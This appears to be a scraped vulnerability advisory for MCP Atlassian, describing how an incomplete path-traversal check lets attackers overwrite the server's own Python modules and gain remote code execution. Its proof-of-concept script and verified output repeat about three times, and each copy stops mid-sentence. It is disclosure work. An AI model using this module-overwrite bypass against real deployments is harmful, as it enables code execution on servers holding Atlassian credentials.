CVE-2026-77271

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_safe_path defaults its base directory to os.getcwd(), and affected Confluence attachment call sites omit base_dir, allowing attacker-selected writes within the working directory. This Python module overwrite can provide code execution when the application later imports the modified module, bypassing the remediation tracked as CVE-2026-27825. This issue is fixed in version 0.22.0.

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_safe_path defaults its base directory to os.getcwd(), and affected Confluence attachment call sites omit base_dir, allowing attacker-selected writes within the working directory. This Python module overwrite can provide code execution when the application later imports the modified module, bypassing the remediation tracked as CVE-2026-27825. This issue is fixed in version 0.22.0.

Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validate_safe_path() is called without an explicit base_dir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

Details

src/mcp_atlassian/utils/io.py — validate_safe_path() defaults to CWD when no base_dir is supplied:

def validate_safe_path(path, base_dir=None) -> Path:
    if base_dir is None:
        base_dir = os.getcwd()       # root of the issue
    resolved_base = Path(base_dir).resolve(strict=False)
    ...
    if not resolved_path.is_relative_to(resolved_base):
        raise ValueError("Path traversal detected")

Both call sites in src/mcp_atlassian/confluence/attachments.py omit base_dir:

validate_safe_path(target_path)   # line ~227, download_attachment()
validate_safe_path(target_dir)    # line ~270, download_content_attachments()

When the process CWD is /app, any path under /app satisfies is_relative_to(CWD) and passes the guard, including all Python source modules:

/app/src/mcp_atlassian/confluence/attachments.py  -> passes, no exception
/app/src/mcp_atlassian/servers/main.py            -> passes, no exception
/app/.env                                          -> passes, no exception

PoC

Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.

The script imports validate_safe_path directly from the installed package, not a simulation of the function.

# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path  # real package

print(f"Module: {validate_safe_path.__module__}")

# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)

# Control: classic traversal is blocked
try:
    validate_safe_path("/etc/passwd")
except ValueError:
    print("[OK]     /etc/passwd blocked")

# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")

# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
    b"import os\n_PWNED=True\n"
    b"def get_secret():\n"
    b"    os.system('id')\n"
    b"    return 'PWNED'\n"
)
print("[WRITE]  Module overwritten with malicious payload")

# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)   # os.system('id') executes here

print(f"[RCE]    get_secret() = {repr(mod.get_secret())}")
print(f"[RCE]    _PWNED = {mod._PWNED}")

shutil.rmtree(app_dir)

uvx --from mcp-atlassian python poc_bypass.py

Verified output (mcp-atlassian 0.21.0):

Module: mcp_atlassian.utils.io

[OK]     /etc/passwd blocked
[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised
[WRITE]  Module overwritten with malicious payload
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[RCE]    get_secret() = 'PWNED'
[RCE]    _PWNED = True

Triggering via MCP tool:…

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_safe_path defaults its base directory to os.getcwd(), and affected Confluence attachment call sites omit base_dir, allowing attacker-selected writes within the working directory. This Python module overwrite can provide code execution when the application later imports the modified module, bypassing the remediation tracked as CVE-2026-27825. This issue is fixed in version 0.22.0.

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_safe_path defaults its base directory to os.getcwd(), and affected Confluence attachment call sites omit base_dir, allowing attacker-selected writes within the working directory. This Python module overwrite can provide code execution when the application later imports the modified module, bypassing the remediation tracked as CVE-2026-27825. This issue is fixed in version 0.22.0.

Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validate_safe_path() is called without an explicit base_dir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

Details

src/mcp_atlassian/utils/io.py — validate_safe_path() defaults to CWD when no base_dir is supplied:

def validate_safe_path(path, base_dir=None) -> Path:
    if base_dir is None:
        base_dir = os.getcwd()       # root of the issue
    resolved_base = Path(base_dir).resolve(strict=False)
    ...
    if not resolved_path.is_relative_to(resolved_base):
        raise ValueError("Path traversal detected")

Both call sites in src/mcp_atlassian/confluence/attachments.py omit base_dir:

validate_safe_path(target_path)   # line ~227, download_attachment()
validate_safe_path(target_dir)    # line ~270, download_content_attachments()

When the process CWD is /app, any path under /app satisfies is_relative_to(CWD) and passes the guard, including all Python source modules:

/app/src/mcp_atlassian/confluence/attachments.py  -> passes, no exception
/app/src/mcp_atlassian/servers/main.py            -> passes, no exception
/app/.env                                          -> passes, no exception

PoC

Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.

The script imports validate_safe_path directly from the installed package, not a simulation of the function.

# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path  # real package

print(f"Module: {validate_safe_path.__module__}")

# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)

# Control: classic traversal is blocked
try:
    validate_safe_path("/etc/passwd")
except ValueError:
    print("[OK]     /etc/passwd blocked")

# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")

# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
    b"import os\n_PWNED=True\n"
    b"def get_secret():\n"
    b"    os.system('id')\n"
    b"    return 'PWNED'\n"
)
print("[WRITE]  Module overwritten with malicious payload")

# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)   # os.system('id') executes here

print(f"[RCE]    get_secret() = {repr(mod.get_secret())}")
print(f"[RCE]    _PWNED = {mod._PWNED}")

shutil.rmtree(app_dir)

uvx --from mcp-atlassian python poc_bypass.py

Verified output (mcp-atlassian 0.21.0):

Module: mcp_atlassian.utils.io

[OK]     /etc/passwd blocked
[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised
[WRITE]  Module overwritten with malicious payload
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[RCE]    get_secret() = 'PWNED'
[RCE]    _PWNED = True

Triggering via MCP tool:…

Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validate_safe_path() is called without an explicit base_dir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

Details

src/mcp_atlassian/utils/io.py — validate_safe_path() defaults to CWD when no base_dir is supplied:

def validate_safe_path(path, base_dir=None) -> Path:
    if base_dir is None:
        base_dir = os.getcwd()       # root of the issue
    resolved_base = Path(base_dir).resolve(strict=False)
    ...
    if not resolved_path.is_relative_to(resolved_base):
        raise ValueError("Path traversal detected")

Both call sites in src/mcp_atlassian/confluence/attachments.py omit base_dir:

validate_safe_path(target_path)   # line ~227, download_attachment()
validate_safe_path(target_dir)    # line ~270, download_content_attachments()

When the process CWD is /app, any path under /app satisfies is_relative_to(CWD) and passes the guard, including all Python source modules:

/app/src/mcp_atlassian/confluence/attachments.py  -> passes, no exception
/app/src/mcp_atlassian/servers/main.py            -> passes, no exception
/app/.env                                          -> passes, no exception

PoC

Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.

The script imports validate_safe_path directly from the installed package, not a simulation of the function.

# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path  # real package

print(f"Module: {validate_safe_path.__module__}")

# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)

# Control: classic traversal is blocked
try:
    validate_safe_path("/etc/passwd")
except ValueError:
    print("[OK]     /etc/passwd blocked")

# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")

# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
    b"import os\n_PWNED=True\n"
    b"def get_secret():\n"
    b"    os.system('id')\n"
    b"    return 'PWNED'\n"
)
print("[WRITE]  Module overwritten with malicious payload")

# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)   # os.system('id') executes here

print(f"[RCE]    get_secret() = {repr(mod.get_secret())}")
print(f"[RCE]    _PWNED = {mod._PWNED}")

shutil.rmtree(app_dir)

uvx --from mcp-atlassian python poc_bypass.py

Verified output (mcp-atlassian 0.21.0):

Module: mcp_atlassian.utils.io

[OK]     /etc/passwd blocked
[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised
[WRITE]  Module overwritten with malicious payload
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[RCE]    get_secret() = 'PWNED'
[RCE]    _PWNED = True

Triggering via MCP tool:…